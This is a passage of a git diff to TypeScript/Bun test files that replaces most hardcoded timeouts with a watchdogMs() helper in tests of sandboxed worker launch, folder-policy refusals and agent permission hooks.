@@ beforeEach(() => { const kill = process.kill.bind(process); processKill = spyOn(process, "kill").mockImplementation((pid: number, signal?: NodeJS.Signals | number) => { if (signal !== "SIGKILL" && signal !== 9) return kill(pid, signal); - setTimeout(() => { try { kill(pid, signal); } catch { /* gone meanwhile */ } }, PID_SIGNAL_DELAY_MS); + setTimeout(() => { try { kill(pid, signal); } catch { /* gone meanwhile */ } }, /* native-product-timing: Controlled delayed-signal stimulus exposes the refused-launch race; not a hang deadline. */ PID_SIGNAL_DELAY_MS); return true; }); }); @@ -47,7 +48,7 @@ const childrenOf = (pid: number) => { try { return readFileSync(`/proc/${pid}/ta * gate released has written its marker by then. */ async function sandboxesDead(gated: { pid: number; start: string | undefined }[]) { - const deadline = Date.now() + 10_000; + const deadline = Date.now() + watchdogMs(10_000); const running = ({ pid, start }: { pid: number; start: string | undefined }) => { const fields = stat(pid); return fields !== undefined && fields[19] === start && !["Z", "X", "x"].includes(fields[0]!); @@ -62,7 +63,7 @@ function delayedKills { if (signal === "SIGSTOP") kill(signal); - else setTimeout(() => kill(signal), SIGNAL_DELAY_MS); + else setTimeout(() => kill(signal), /* native-product-timing: Controlled delayed-signal stimulus exposes the refused-launch race; not a hang deadline. */ SIGNAL_DELAY_MS); }; return child; } @@ -120,7 +121,7 @@ test("closing an unreleased gate kills a sandbox whose status was never read", a const supervisor: WorkerStatusSupervisor = delayedKills(child); try { // Wait until bubblewrap has forked its gated sandbox process. - const deadline = Date.now() + 5_000; + const deadline = Date.now() + watchdogMs(5_000); const children = () => childrenOf(child.pid); while (!children() && child.exitCode === null && Date.now() < deadline) await Bun.sleep(5); expect(children(), "bubblewrap forked its sandbox").not.toBe(""); @@ -144,7 +145,7 @@ test("closing an unreleased gate kills a verified sandbox that outlived its reap { env: {}, stdin: "ignore", stdout: "ignore", stderr: "pipe" }); let gated: number | undefined; try { - gated = channel.childPid(child.pid, Date.now() + 5_000); + gated = channel.childPid(child.pid, Date.now() + watchdogMs(5_000)); const sandbox = identity(gated); channel.closeWriter(); child.kill("SIGKILL"); diff --git a/packages/ui-sdk/tests/startup-input-accounting.test.ts b/packages/ui-sdk/tests/startup-input-accounting.test.ts index bfad09abeb..3fc7dbde57 100644 --- a/packages/ui-sdk/tests/startup-input-accounting.test.ts +++ b/packages/ui-sdk/tests/startup-input-accounting.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines"; import { expect, test } from "bun:test"; import { mkdtempSync, openSync, writeSync, closeSync, rmSync, mkdirSync, readFileSync, writeFileSync, existsSync } from "node:fs"; import { join } from "node:path"; @@ -96,7 +97,7 @@ await Bun.stdin.text();`; const alive = (pid: number) => { try { return readFileSync(`/proc/${pid}/stat`, "utf8").replace(/^.*\) /s, "")[0] !== "Z"; } catch { return false; } }; - const deadline = Date.now() + 5000; + const deadline = Date.now() + watchdogMs(5000); while ((existsSync(receipt.root) || alive(receipt.inputKeeper) || alive(receipt.outputKeeper)) && Date.now() < deadline) await Bun.sleep(5); expect(existsSync(receipt.root), "NO_IMMUTABLE_BYTES_LEFT_AFTER_SERVER_SIGKILL").toBe(false); expect(alive(receipt.inputKeeper), "NO_INPUT_CLEANUP_KEEPER_LEFT").toBe(false); diff --git a/packages/ui-sdk/tests/worker-filesystem-filter.test.ts b/packages/ui-sdk/tests/worker-filesystem-filter.test.ts index f384f4f943..245c6fae7c 100644 --- a/packages/ui-sdk/tests/worker-filesystem-filter.test.ts +++ b/packages/ui-sdk/tests/worker-filesystem-filter.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines"; import { describe, expect, spyOn, test } from "bun:test"; import * as fs from "node:fs"; import { tmpdir } from "node:os"; @@ -99,7 +100,7 @@ describe("actual filesystem ioctl filter runtime", () => { // Run the actual filter even on non-Btrfs test hosts. const child = Bun.spawnSync([python!, "-I", "-S", "-c", WORKER_FILESYSTEM_FILTER_PROGRAM, "/usr/bin/cat", "/proc/self/status"], { - cwd: "/", env: {}, stdout: "pipe", stderr: "pipe", timeout: 5_000, + cwd: "/", env: {}, stdout: "pipe", stderr: "pipe", timeout: watchdogMs(5_000), }); expect(child.stderr.toString()).toBe(""); expect(child.exitCode).toBe(0); @@ -133,7 +134,7 @@ with open(sys.argv[1] + "/odysseus.md", "w") as output: print(json.dumps(errors))`; const child = Bun.spawnSync([python!, "-I", "-S", "-c", WORKER_FILESYSTEM_FILTER_PROGRAM, python!, "-I", "-S", "-c", program, f.root], { - cwd: "/", env: { PYTHONPATH: f.root, PYTHONHOME: f.root }, stdout: "pipe", stderr: "pipe", timeout: 5_000, + cwd: "/", env: { PYTHONPATH: f.root, PYTHONHOME: f.root }, stdout: "pipe", stderr: "pipe", timeout: watchdogMs(5_000), }); expect(child.stderr.toString()).toBe(""); expect(child.exitCode).toBe(0); diff --git a/packages/ui-sdk/tests/worker-identity-progress.test.ts b/packages/ui-sdk/tests/worker-identity-progress.test.ts index a6a5add032..40af0529ac 100644 --- a/packages/ui-sdk/tests/worker-identity-progress.test.ts +++ b/packages/ui-sdk/tests/worker-identity-progress.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines"; // #3664: a separate-UID readiness timeout names the supervisor's last recorded setup step. import { expect, spyOn, test } from "bun:test"; import { chmodSync, existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, statSync, symlinkSync, writeFileSync } from "node:fs"; @@ -124,14 +125,14 @@ test("the real supervisor records each setup step it reaches: a helper that neve const supervisor = Bun.spawn([...command, JSON.stringify(config)], { env: {}, stdin: "ignore", stdout: "ignore", stderr: "pipe" }); try { const record = `${readyPath(broker)}.progress`; - const deadline = Date.now() + 10_000; + const deadline = Date.now() + watchdogMs(10_000); while (!broker.setupProgress(spawnedAt).startsWith("step: launch-sent")) { if (supervisor.exitCode !== null || Date.now() >= deadline) throw new Error(`supervisor never recorded launch-sent: ${broker.setupProgress(spawnedAt)}`); await Bun.sleep(5); } // The host's real wait reaches its own deadline and reads the same record. - const refusal = await runWorkerStepsAsync(broker.readySteps(supervisor.pid, Date.now() + 200)).then(() => undefined, (error: Error) => error.message); + const refusal = await runWorkerStepsAsync(broker.readySteps(supervisor.pid, Date.now() + /* native-product-timing: The real broker readySteps deadline expiry is the product behavior under test. */ 200)).then(() => undefined, (error: Error) => error.message); expect(refusal).toBe("worker_identity_setup_timed_out"); expect(broker.setupProgress(spawnedAt), "REAL_SUPERVISOR_RECORDS_LAUNCH_SENT").toMatch(/^step: launch-sent, ms: \d+, sinceSpawnMs: \d+$/); // A private record in the server's private directory: no new path for anyone else. diff --git a/packages/ui-sdk/tests/worker-launcher.test.ts b/packages/ui-sdk/tests/worker-launcher.test.ts index 382d329a54..fbd74908a3 100644 --- a/packages/ui-sdk/tests/worker-launcher.test.ts +++ b/packages/ui-sdk/tests/worker-launcher.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines"; import { nativeScriptedService } from "../../../scripts/test-native-guard"; import { launchFixtureAgentWorker as launchAgentWorker } from "./helpers/worker-startup-view-fixture.js"; import { describe, expect, spyOn, test } from "bun:test"; @@ -88,7 +89,7 @@ signal.signal(signal.SIGRTMIN, signal.SIG_IGN) os.closerange(3, os.sysconf("SC_OPEN_MAX")) os.execve(${JSON.stringify(boot.command[0])}, ${JSON.stringify(boot.command)}, ${JSON.stringify(boot.env)})`; const child = Bun.spawnSync([python!, "-c", program], { env: {}, stdin: pipes.child[0], - stdout: pipes.child[1], stderr: pipes.child[2], timeout: 5_000 }); + stdout: pipes.child[1], stderr: pipes.child[2], timeout: watchdogMs(5_000) }); pipes.closeChild(); pipes.closeInput(); const output = readFileSync(pipes.parent[1], "utf8"); expect(readFileSync(pipes.parent[2], "utf8")).toBe(""); diff --git a/packages/ui-sdk/tests/worker-output-budget.test.ts b/packages/ui-sdk/tests/worker-output-budget.test.ts index 5c3c6f1ca0..191cd48700 100644 --- a/packages/ui-sdk/tests/worker-output-budget.test.ts +++ b/packages/ui-sdk/tests/worker-output-budget.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines"; import { afterEach, expect, test, spyOn } from "bun:test"; import { mkdtempSync, mkdirSync, rmSync, writeFileSync, readFileSync } from "node:fs"; import { join } from "node:path"; @@ -108,7 +109,7 @@ for (const mode of ["streaming", "sync"] as const) test(`${mode} maintenance boo const original = Bun.which; const which = spyOn(Bun, "which").mockImplementation((name, options) => name === "nsenter" ? null : original(name, options)); try { - const input = { brainPath: brain, tempDomain: { statePath: join(outputs.view.storage.root, "maintenance-state.db") }, startupView: outputs.view, output: outputs.output, command: ["/bin/true"], env: {}, credentials: false, timeoutMs: 1000 }; + const input = { brainPath: brain, tempDomain: { statePath: join(outputs.view.storage.root, "maintenance-state.db") }, startupView: outputs.view, output: outputs.output, command: ["/bin/true"], env: {}, credentials: false, timeoutMs: watchdogMs(1000) }; expect(() => mode === "streaming" ? launchMaintenanceWorker(input) : runMaintenanceWorkerSync(input)).toThrow("nsenter"); outputs.cleanup(); expect(ledger.outputStagingHeld, "BOOTSTRAP_REFUSAL_RELEASES_OWNED_STAGING").toBe(before); diff --git a/packages/ui-sdk/tests/worker-pipes.test.ts b/packages/ui-sdk/tests/worker-pipes.test.ts index 620e4eefee..8f71045826 100644 --- a/packages/ui-sdk/tests/worker-pipes.test.ts +++ b/packages/ui-sdk/tests/worker-pipes.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines"; /** * #1648: a worker's output pipes are read without holding a thread. Node's fs * read streams park a thread-pool thread on every pending FIFO read, and the @@ -45,7 +46,7 @@ test("many idle worker outputs leave asynchronous file I/O free", async () => { await writeFile(join(dir, "harbor.md"), "Ithaca\n"); return readFile(join(dir, "harbor.md"), "utf8"); })(); - const stalled = new Promise(resolve => setTimeout(() => resolve("stalled"), 5_000)); + const stalled = new Promise(resolve => setTimeout(() => resolve("stalled"), watchdogMs(5_000))); expect(await Promise.race([io, stalled])).toBe("Ithaca\n"); }); diff --git a/packages/ui-sdk/tests/worker-steps-event-loop.test.ts b/packages/ui-sdk/tests/worker-steps-event-loop.test.ts index a1124b5f6c..1f4635619c 100644 --- a/packages/ui-sdk/tests/worker-steps-event-loop.test.ts +++ b/packages/ui-sdk/tests/worker-steps-event-loop.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines"; /** * The asynchronous worker checks leave the server's event loop free (#2416). * A synchronous probe, sandbox check or launch blocks every other request @@ -372,7 +373,7 @@ function readyBroker(supervisor: number): Broker { try { const { ready } = JSON.parse(broker.command.at(-1)!) as { ready: string }; writeFileSync(ready, JSON.stringify({ ok: true, workerUid: process.getuid!() + 1, worker: { pid: 2, start: "1" }, roots: {} })); - broker.ready(supervisor, Date.now() + 5_000); + broker.ready(supervisor, Date.now() + watchdogMs(5_000)); return broker; } catch (error) { broker.discard(); throw error; } } diff --git a/packages/ui-server/tests/brain-application-adapters.test.ts b/packages/ui-server/tests/brain-application-adapters.test.ts index 8a988cbb8d..e294e9a5bb 100644 --- a/packages/ui-server/tests/brain-application-adapters.test.ts +++ b/packages/ui-server/tests/brain-application-adapters.test.ts @@ -57,7 +57,7 @@ async function adapter(kind: "claude" | "pi", voice = false) { // Keep the real request, worker and publication boundary unchanged. // Only this fixture's planner stdin/results enter diagnostics, never its // execution environment or credentials. Successful assertions stay quiet. - const request = { purpose: execution.purpose, stdin: execution.stdin, timeoutMs: execution.timeoutMs, + const request = { purpose: execution.purpose, stdin: execution.stdin, timeoutMs: /* native-product-timing: The adapter must forward the product-provided execution budget unchanged. */ execution.timeoutMs, gate: execution.gate }; try { const result = await run(execution); diff --git a/packages/ui-server/tests/governance-policy.test.ts b/packages/ui-server/tests/governance-policy.test.ts index c57f62611f..16c67e4123 100644 --- a/packages/ui-server/tests/governance-policy.test.ts +++ b/packages/ui-server/tests/governance-policy.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines"; import { frontmatterEngineSentinel } from "../../../tests/helpers/frontmatter-engine-sentinel.js"; import { createNativeJournalFixture } from "./helpers/native-journal-fixture.js"; import { installFixtureNativeStartupViews } from "./helpers/fixture-native-startup.js"; @@ -350,7 +351,7 @@ test.each(["missing", "legacy", "ancestor"] as const)("a pre-existing unpinned p const old = launchAgentWorker({ brainPath: f.brain, sandbox: oldSandbox, env: { PATH: "/usr/bin:/bin" }, command: ["/bin/sh", "-c", "printf ready > old-ready.md; IFS= read -r go || exit 43; mv group/private group/retired-private || exit 44; mkdir group/private || exit 45; printf Athena > group/private/born.md"] }); async function collect(stream: NodeJS.ReadableStream) { let text = ""; for await (const chunk of stream as AsyncIterable) text += chunk.toString(); return text; } - async function ready(path: string) { const deadline = Date.now() + 5000; while (!existsSync(join(f.brain, path))) { if (Date.now() >= deadline) throw Error(`Native peer readiness timed out: ${path}`); await Bun.sleep(5); } } + async function ready(path: string) { const deadline = Date.now() + watchdogMs(5000); while (!existsSync(join(f.brain, path))) { if (Date.now() >= deadline) throw Error(`Native peer readiness timed out: ${path}`); await Bun.sleep(5); } } const oldOutput = Promise.all([collect(old.stdout), collect(old.stderr)]); let admitted: Awaited> | undefined; let next: ReturnType | undefined, refusal: unknown; @@ -411,7 +412,7 @@ test("a live peer retaining a descendant permits shared admission of its pinned const oldOutput = Promise.all([collect(old.stdout), collect(old.stderr)]); let hold: Awaited> | undefined; try { - const deadline = Date.now() + 5000; + const deadline = Date.now() + watchdogMs(5000); while (!existsSync(join(f.brain, "older-ready.md"))) { if (Date.now() >= deadline) throw Error("Pinned peer readiness timed out"); await Bun.sleep(5); } f.write("providers: [{ paths: [group/private/**], allow: [anthropic] }]"); hold = await f.turns.begin("shared-pinned-ancestor", new AbortController().signal); diff --git a/packages/ui-server/tests/host-fallback-folder-policy.test.ts b/packages/ui-server/tests/host-fallback-folder-policy.test.ts index c0b5060eb1..cfc962c165 100644 --- a/packages/ui-server/tests/host-fallback-folder-policy.test.ts +++ b/packages/ui-server/tests/host-fallback-folder-policy.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines"; /** * #2284, ruling (c): while a provider folder policy is active, the legacy * never-governed host fallback is refused before any host process exists. No @@ -33,7 +34,7 @@ test.each(cases)("%s (descendant %s, replaces %s, owner %s): a folder policy ref const ownerOutput = Promise.all([new Response(owner.stdout).text(), new Response(owner.stderr).text()]); const at = (name: string) => join(brain, name); const ready = async (...names: string[]) => { - const deadline = Date.now() + 10_000; + const deadline = Date.now() + watchdogMs(10_000); for (;;) { const found = names.find(name => existsSync(at(name))); if (found) return found; diff --git a/packages/ui-server/tests/host-fallback-transition.test.ts b/packages/ui-server/tests/host-fallback-transition.test.ts index d211d49efc..4725928dce 100644 --- a/packages/ui-server/tests/host-fallback-transition.test.ts +++ b/packages/ui-server/tests/host-fallback-transition.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines"; /** Actual host/bubblewrap transition; fixture input acquisition is not Btrfs qualification. */ import { expect, test } from "bun:test"; import { mkdirSync, mkdtempSync, writeFileSync, existsSync, rmSync } from "node:fs"; @@ -22,10 +23,10 @@ test("a never-governed host fallback cannot evade peer accounting during transit const turns = createGovernedTurns({ nativeManager: createNativeJournalFixture(brain, root).client, brainPath: brain, execution, profile: "governed", maskPaths: [], index: async () => {}, report() {} }); let old: Awaited> | undefined, oldOutput: Promise | undefined; let admitted: Awaited> | undefined, next: ReturnType | undefined, nextOutput: Promise | undefined, refusal: unknown; - const ready = async (path: string) => { const deadline = Date.now() + 5000; while (!existsSync(join(brain, path))) { if (Date.now() >= deadline) throw Error(`readiness timeout ${path}`); await Bun.sleep(5); } }; + const ready = async (path: string) => { const deadline = Date.now() + watchdogMs(5000); while (!existsSync(join(brain, path))) { if (Date.now() >= deadline) throw Error(`readiness timeout ${path}`); await Bun.sleep(5); } }; try { expect(fallback.isolated()).toBe(false); - old = await fallback.launch({ argv: ["/bin/sh", "-c", "printf ready > old-ready.md; while ! test -f old-go.md; do sleep 0.01; done; mv group/private group/retired-private || exit 44; mkdir group/private || exit 45; printf Athena > group/private/born.md"], env: { PATH: "/usr/bin:/bin" }, credentials: false, gate: "shared", purpose: "old host maintenance", timeoutMs: 15000 }); + old = await fallback.launch({ argv: ["/bin/sh", "-c", "printf ready > old-ready.md; while ! test -f old-go.md; do sleep 0.01; done; mv group/private group/retired-private || exit 44; mkdir group/private || exit 45; printf Athena > group/private/born.md"], env: { PATH: "/usr/bin:/bin" }, credentials: false, gate: "shared", purpose: "old host maintenance", timeoutMs: watchdogMs(15000) }); oldOutput = Promise.all([new Response(old.stdout).text(), new Response(old.stderr).text()]); await ready("old-ready.md"); const peersBefore = execution.gate()!.holders(); writeFileSync(policy, "---\nschema_version: 1\nproviders: [{ paths: [group/private/**], allow: [anthropic] }]\n---\nAthena reviews policy.\n"); diff --git a/packages/ui-server/tests/host-unpinned-folder-plan.test.ts b/packages/ui-server/tests/host-unpinned-folder-plan.test.ts index dbc2c1b327..cf663fe334 100644 --- a/packages/ui-server/tests/host-unpinned-folder-plan.test.ts +++ b/packages/ui-server/tests/host-unpinned-folder-plan.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines"; import { expect, test } from "bun:test"; import { mkdirSync, mkdtempSync, writeFileSync, existsSync, rmSync, lstatSync } from "node:fs"; import { join } from "node:path"; @@ -25,11 +26,11 @@ for (const renamed of ["group/private", "group"] as const) test(`an existing fol const turns = createGovernedTurns({ nativeManager: createNativeJournalFixture(brain, root).client, brainPath: brain, execution, profile: "governed", maskPaths: [], index: async () => {}, report() {} }); let old: Awaited> | undefined, oldOutput: Promise | undefined, refusal: unknown; let admitted: Awaited> | undefined, next: ReturnType | undefined, nextOutput: Promise | undefined; - const ready = async (path: string) => { const deadline = Date.now() + 5000; while (!existsSync(join(brain, path))) { if (Date.now() >= deadline) throw Error(`readiness timeout ${path}`); await Bun.sleep(5); } }; + const ready = async (path: string) => { const deadline = Date.now() + watchdogMs(5000); while (!existsSync(join(brain, path))) { if (Date.now() >= deadline) throw Error(`readiness timeout ${path}`); await Bun.sleep(5); } }; try { expect(fallback.isolated()).toBe(false); try { - old = await fallback.launch({ argv: ["/bin/sh", "-c", `printf ready > old-ready.md; i=0; while ! test -f old-go.md; do i=$((i+1)); test $i -gt 1500 && exit 47; sleep 0.01; done; mv ${renamed} ${renamed}-retired || exit 44; mkdir -p group/private || exit 45; printf Athena > group/private/born.md`], env: { PATH: "/usr/bin:/bin" }, credentials: false, gate: "shared", purpose: "old host maintenance", timeoutMs: 15000 }); + old = await fallback.launch({ argv: ["/bin/sh", "-c", `printf ready > old-ready.md; i=0; while ! test -f old-go.md; do i=$((i+1)); test $i -gt 1500 && exit 47; sleep 0.01; done; mv ${renamed} ${renamed}-retired || exit 44; mkdir -p group/private || exit 45; printf Athena > group/private/born.md`], env: { PATH: "/usr/bin:/bin" }, credentials: false, gate: "shared", purpose: "old host maintenance", timeoutMs: watchdogMs(15000) }); oldOutput = Promise.all([new Response(old.stdout).text(), new Response(old.stderr).text()]); await ready("old-ready.md"); } catch (error) { refusal = error; } expect(refusal, "EXISTING_FOLDER_POLICY_REFUSES_HOST_PLAN").toBeInstanceOf(HostFallbackRefusedError); diff --git a/packages/ui-server/tests/operational-state-layout.test.ts b/packages/ui-server/tests/operational-state-layout.test.ts index 5aa2723829..bdb4d369f7 100644 --- a/packages/ui-server/tests/operational-state-layout.test.ts +++ b/packages/ui-server/tests/operational-state-layout.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines"; import { tmpdir } from "node:os"; import { text as streamText } from "node:stream/consumers"; import { afterEach, describe, expect, test } from "bun:test"; @@ -166,7 +167,7 @@ describe("operational state boot refusal (#1649)", () => { console.log("ODYSSEUS_STATE_RECEIPT:"+JSON.stringify({name:failure?.name,sameInode:original.dev===alias.dev&&original.ino===alias.ino}));`; const run = Bun.spawnSync(["bwrap", "--unshare-user", "--unshare-net", "--bind", "/", "/", "--bind", f.state, mounted, "--proc", "/proc", "--dev", "/dev", process.execPath, "--config=/dev/null", "--no-env-file", "-e", program], - { env: { PATH: `${dirname(process.execPath)}:/usr/bin:/bin` }, stdout: "pipe", stderr: "pipe", timeout: 30_000 }); + { env: { PATH: `${dirname(process.execPath)}:/usr/bin:/bin` }, stdout: "pipe", stderr: "pipe", timeout: watchdogMs(30_000) }); expect(run.exitCode, run.stderr.toString()).toBe(0); const line = run.stdout.toString().split("\n").find(value => value.startsWith("ODYSSEUS_STATE_RECEIPT:")); expect(line).toBeDefined(); diff --git a/packages/ui-server/tests/safety-native-delivery.test.ts b/packages/ui-server/tests/safety-native-delivery.test.ts index a03f649a09..3711ee9ed6 100644 --- a/packages/ui-server/tests/safety-native-delivery.test.ts +++ b/packages/ui-server/tests/safety-native-delivery.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines"; import { nativeFixtureDirectory } from "../../../scripts/test-native-guard.ts"; import {nativeScriptedService} from "../../../scripts/test-native-guard.ts"; /** Installed Claude file tools against a scripted loopback model and the real host ledger. */ @@ -26,7 +27,7 @@ for(const mode of ["complete","writer-loss"] as const)test(`installed Claude ${m const db=createUiDb(join(root,"ui.db")),writer=openSqliteWriter(db),writes=createGovernanceWrites(db,writer),controller=new AbortController(); const bindingId=crypto.randomUUID();let version:string|undefined,requests=0,postReached=false,finalizedBeforeProvider=false; const trace:string[]=[]; - const timer=setTimeout(()=>controller.abort(),20000); + const timer=setTimeout(()=>controller.abort(),watchdogMs(20000)); const origin=Bun.serve({hostname:"127.0.0.1",port:0,async fetch(request){ if(new URL(request.url).pathname!=="/v1/messages")return Response.json({}); const body=JSON.stringify(await request.json());requests++;trace.push(`provider-${requests}:${body.includes("Odysseus repairs the raft")}`); diff --git a/packages/ui-server/tests/safety-result-retention.test.ts b/packages/ui-server/tests/safety-result-retention.test.ts index d5b89573e8..0e09bdfe85 100644 --- a/packages/ui-server/tests/safety-result-retention.test.ts +++ b/packages/ui-server/tests/safety-result-retention.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines"; import { nativeFixtureDirectory } from "../../../scripts/test-native-guard.ts"; import {searchWitnessScript} from "./helpers/search-witness"; import {nativeScriptedService} from "../../../scripts/test-native-guard.ts"; @@ -104,7 +105,7 @@ async function voyageHome(interruption:Interruption,check:(f:{db:ReturnType(resolve=>{refusal=resolve;}); const awaitIndex=async()=>{ if(!interrupt||interruption!=="duplicate"||++indexWaits<2)return; - const deadline=Date.now()+15000; + const deadline=Date.now()+watchdogMs(15000); while(!existsSync(searched)&&Date.now()setTimeout(resolve,5)); if(!existsSync(searched))throw new Error("The first search never ran"); controller.abort(new Error("Odysseus stopped the turn while the first search ran")); @@ -123,7 +124,7 @@ async function voyageHome(interruption:Interruption,check:(f:{db:ReturnType{ - const deadline=Date.now()+15000; + const deadline=Date.now()+watchdogMs(15000); while(!existsSync(searched)&&Date.now()setTimeout(resolve,5)); if(!existsSync(searched))throw new Error("The search never ran"); controller.abort(new Error("Odysseus stopped the turn after the search ran")); @@ -147,7 +148,7 @@ async function voyageHome(interruption:Interruption,check:(f:{db:ReturnType{if(existsSync(searched))controller.abort(new Error("Odysseus stopped the turn while the search ran"));},5):undefined; - const timer=setTimeout(()=>controller.abort(),20000); + const timer=setTimeout(()=>controller.abort(),watchdogMs(20000)); nativeScriptedService(origin.url.origin); try{for await(const message of query({prompt:"Listen for the sirens.",options:{cwd:brain,settingSources:[],model:"claude-sonnet-4-6",maxTurns:2,permissionMode:"default",allowedTools:tools,...wiring,abortController:controller, ...(resume?{resume}:{}), @@ -158,7 +159,7 @@ async function voyageHome(interruption:Interruption,check:(f:{db:ReturnTypesetTimeout(resolve,2000))]); + if(interrupt&&(interruption==="duplicate"||interruption==="retooled"))await Promise.race([refused,new Promise(resolve=>setTimeout(resolve,watchdogMs(2000)))]); await writes.safetyEnd(turnId); } return {results,failures,aborted:controller.signal.aborted,indexWaits,admitted,cards,refusals}; @@ -304,7 +305,7 @@ for(const late of [false,true])test(`a denied shell call reusing a search's id c // The search's result never reaches the host. result:async()=>{}}; const wiring=createPermissionWiring({req:{prompt:"Listen for the sirens.",signal:controller.signal,bridge:{emit(){},requestPermission:async()=>({behavior:"allow"}),inputSafety}},allowedTools:["Grep","Bash"],confirmPatterns:[],brainPath:brain,turnLock:{acquireForTool:async()=>({ok:true}),releaseForTool(){}} as never,childEnv:{PATH:"/usr/bin:/bin"},log(){}}); - if(late)for(const group of wiring.hooks!.PreToolUse!)if(!group.matcher)group.hooks=group.hooks.map(hook=>async(...args)=>{if((args[0] as {tool_name?:string}).tool_name==="Bash")await new Promise(resolve=>setTimeout(resolve,150));return hook(...args);}); + if(late)for(const group of wiring.hooks!.PreToolUse!)if(!group.matcher)group.hooks=group.hooks.map(hook=>async(...args)=>{if((args[0] as {tool_name?:string}).tool_name==="Bash")await new Promise(resolve=>setTimeout(resolve,/* native-product-timing: Deliberate late-hook ordering stimulus; not an upper deadline. */ 150));return hook(...args);}); const origin=Bun.serve({hostname:"127.0.0.1",port:0,async fetch(request){ if(new URL(request.url).pathname!=="/v1/messages")return Response.json({}); const raw=await request.text(),body=JSON.parse(raw); @@ -313,7 +314,7 @@ for(const late of [false,true])test(`a denied shell call reusing a search's id c return nativeModelReply(requests===1?{name:"Grep",id:"toolu_sirens",input:{pattern:"sirens",path,output_mode:"content"}} :requests===2?{name:"Bash",id:"toolu_sirens",input:{command:"echo rafts",run_in_background:true}}:undefined); }}); - const timer=setTimeout(()=>controller.abort(),20000); + const timer=setTimeout(()=>controller.abort(),watchdogMs(20000)); try{ nativeScriptedService(origin.url.origin); for await(const message of query({prompt:"Listen for the sirens.",options:{cwd:brain,settingSources:[],model:"claude-sonnet-4-6",maxTurns:4,permissionMode:"default",allowedTools:["Grep","Bash"],...wiring,abortController:controller, diff --git a/packages/ui-server/tests/turn-data-tree.test.ts b/packages/ui-server/tests/turn-data-tree.test.ts index 9bcb4dc7bc..b16b11e8b2 100644 --- a/packages/ui-server/tests/turn-data-tree.test.ts +++ b/packages/ui-server/tests/turn-data-tree.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines"; /** * A turn's own applications reach its worker's same-turn reads (#2848) and, * under provider rules, its private index without any masked byte (#2846). @@ -110,7 +111,7 @@ async function hostedTurn(f: Fixture, profile: "strict" | "governed", script: Sc let failure: unknown, ws: WsHost | undefined, painted: Uint8Array | undefined; /** Approve the one destructive application `pending` waits on, as the user would. */ const approve = async (pending: Promise): Promise => { - const deadline = Date.now() + 10_000; + const deadline = Date.now() + watchdogMs(10_000); while (!ws!.coordinator.pendingApprovals.size) { if (Date.now() > deadline) throw new Error("no approval requested"); await Bun.sleep(5); } for (const id of [...ws!.coordinator.pendingApprovals.keys()]) ws!.coordinator.claimApproval(id)!.resolve({ behavior: "allow" }); return pending; diff --git a/packages/ui-server/tests/turn-scope.test.ts b/packages/ui-server/tests/turn-scope.test.ts index 2b5863890b..797bdfba1e 100644 --- a/packages/ui-server/tests/turn-scope.test.ts +++ b/packages/ui-server/tests/turn-scope.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines"; import { createNativeJournalFixture } from "./helpers/native-journal-fixture.js"; import { expect, test } from "bun:test"; import { writeFileSync, truncateSync, chmodSync, readdirSync, mkdtempSync, mkdirSync, rmSync, readFileSync } from "node:fs"; @@ -10,7 +11,7 @@ import { createTurnJournal } from "../src/brain/turn-journal.js"; import { createTurnScope, SCOPE_DISCONNECTED_MS } from "../src/brain/turn-scope.js"; import { scopeFixture } from "./helpers/scope-fixture.js"; import { registeredInterval } from "./helpers/registered-interval.js"; -async function wait(check: () => boolean, timeout = 5000) { const end = Date.now() + timeout; while (!check()) { if (Date.now() > end) throw Error("Scope fixture timed out"); await Bun.sleep(10); } } +async function wait(check: () => boolean, timeout = 5000) { const end = Date.now() + watchdogMs(timeout); while (!check()) { if (Date.now() > end) throw Error("Scope fixture timed out"); await Bun.sleep(10); } } /** Process names below `pid`, read from the host's /proc, which sees into the worker's PID namespace. */ function descendantNames(pid: number): string[] { const parents = new Map(), names = new Map(); @@ -463,7 +464,7 @@ test("namespace freeze never signals the host or an unrelated worker", async () const ownBytes = Bun.file(join(f.brain, "own-heartbeat")).size, neighborBytes = Bun.file(join(neighborBrain, "neighbor-heartbeat")).size; // A runnable neighbor may not be scheduled within 100ms on a shared host. // Its deliberately slower heartbeat must advance while our namespace stays frozen. - const neighborDeadline = Date.now() + 5000; + const neighborDeadline = Date.now() + watchdogMs(5000); do { await Bun.sleep(10); expect(Bun.file(join(f.brain, "own-heartbeat")).size, "SCOPE_OWN_NAMESPACE_STAYS_FROZEN").toBe(ownBytes); @@ -547,7 +548,7 @@ test("periodic capture resumes a productive worker and snapshot failure terminat // failure budget. Await actual observation completion after dispatch. try { await Promise.race([f.journal.idle(), new Promise((_, reject) => { - completionTimeout = setTimeout(() => reject(Error("Scope periodic observation timed out")), 16_000); + completionTimeout = setTimeout(() => reject(Error("Scope periodic observation timed out")), watchdogMs(16_000)); })]); } finally { clearTimeout(completionTimeout); } expect(f.journal.isHeld(), "SCOPE_PERIODIC_CAPTURE_COMPLETED").toBe(false); diff --git a/packages/ui-server/tests/ws-live-policy-parity.test.ts b/packages/ui-server/tests/ws-live-policy-parity.test.ts index f94036feee..628296f354 100644 --- a/packages/ui-server/tests/ws-live-policy-parity.test.ts +++ b/packages/ui-server/tests/ws-live-policy-parity.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from 